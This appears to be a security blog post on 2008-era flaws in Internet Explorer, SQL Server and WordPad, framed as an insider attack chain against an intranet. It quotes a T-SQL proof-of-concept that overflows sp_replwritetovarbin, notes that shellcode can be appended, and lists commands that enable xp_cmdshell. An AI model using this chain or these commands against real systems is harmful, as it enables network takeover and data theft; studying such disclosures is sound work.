Microsoft's Security Hole Framework

Since a few days, news about the Internet Explorer exploit has been sweeping the Internet (see previous post Internet Explorer 7 Attack in the Wild). It has not been confirmed that Internet Explorer 5, 6 and 7 are affected and the problem reside in the data binding of objects. Basically, the array containing objects in memory is now updated after their deletion; therefore the code stays in memory:

The vulnerability is caused by memory corruption resulting from the way Internet Explorer handles DHTML Data Bindings. This affects all currently supported versions of Internet Explorer. Malicious HTML that targets this vulnerability causes IE to create an array of data binding objects, release one of them, and later reference it. This class of vulnerability is exploitable by preparing heap memory with attacker-controlled data (“heap spray”) before the invalid pointer dereference[1].

A patch as now been issued by Microsoft[2], so update your Windows….now!

Another vulnerability that hasn’t made as much noise is the one found by SEC Consult Vulnerability Lab [3], probably because this vulnerability is in Microsoft SQL Server 2000 and 2005, which is not as widely known as Internet Explorer. Not to forget the hole found in Wordpad also[4]. This is significant though, as Microsoft now offer a complete framework for hackers to exploit a Microsoft system.

Therefore, it is now possible for an attacker to execute arbitrary code on a server using SQL server, which might be use to modify web pages to exploit the Internet Explorer vulnerability. Imagine an intranet with a web server running Windows Server 2003, a SQL Server as its database and where all clients are forced to run Internet Explorer. Now an employee with the appropriate knowledge could practically own the entire network. The hardest part would be to find the injection point. That means studying and testing the Intranet website for unsanitized input. If he can’t, just try to social engineer your way by sending a malicious WRI file to one of the administrator.

If one injection point can be found, then he could own the SQL Server using the last vulnerability discovered in SQL Server. This exploit will cause SQL Server to write memory and therefore allowing execution of arbitrary code. This is done by using the sp_replwritetovarbin stored procedure with illegal arguments. Bernhard Mueller has released a proof-of-concept script that can be used to verify if the database is vulnerable to the attack:

DECLARE @buf NVARCHAR(4000),
@val NVARCHAR(4),
@counter INT

SET @buf = '
declare @retcode int,
@end_offset int,
@vb_buffer varbinary,
@vb_bufferlen int,
@buf nvarchar;
exec master.dbo.sp_replwritetovarbin 1,
  @end_offset output,
  @vb_buffer output,
  @vb_bufferlen output,'''

SET @val = CHAR(0x41)

SET @counter = 0
WHILE @counter < 3000
BEGIN
  SET @counter = @counter + 1
  SET @buf = @buf + @val
END

SET @buf = @buf + ''',''1'',''1'',''1'',
''1'',''1'',''1'',''1'',''1'',''1'''

EXEC master..sp_executesql @buf

This procedure will trigger an access violation if the current SQL Server is vulnerable. Then one only needs to append correctly the appropriate shellcode to the buffer “@buf” and gain new privileges. Once the database is yours, look for fields in tables that are used to make links on the web server of the intranet, and use the technique described in this previous article on how this can give you access to about every computer that connects to the webserver. Of course if the database contains sensible information such as passwords, this step might not be necessary.

You could also spawn a command shell from SQL Server by enabling the xp_cmdshell stored procedure:

EXEC master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
EXEC master.dbo.sp_configure 'xp_cmdshell', 1
RECONFIGURE

And then executing any command you wish with that command:

xp_cmdshell

After that, the network is yours. But what if SQL Server is not installed? Apparently Wordpad is there to the rescue….or almost as this exploit only apply to Windows XP SP2, Windows 2000 and Windows Server 2003. This exploit will result in the attacker gaining the same privilege as the user that opened the malicious .wri file, therefore here is another reason not to use your computer as Administrator. According to the advisory:

When Microsoft Office Word is installed, Word 97 documents are by default opened using Microsoft Office Word, which is not affected by this vulnerability. However, an attacker could rename a malicious file to have a Windows Write (.wri) extension, which would still invoke WordPad[5].

The source of the problem comes from the Wordpad Text Converter, a component use to read Word documents even if Microsoft Word isn’t installed on the system. Not much is known about this attack. Trend Micro as an article about it and a trojan[6], identified as TROJ_MCWORDP.A[7] using this vulnerability.

This attack is triggered when the user opens a .WRI, .DOC or .RTF file, most of the time sent by e-mail. Apparently this trojan looks to see if it runs in a virtual environment (VMWare). If it is not, it drops a BKDR_AGENT.VBI file, which will open a random port on the machine it just infected, opening it to the entire world.

Schema of the Wordpad Attack (Image from Trend Micro)

Microsoft’s Security Hole Framework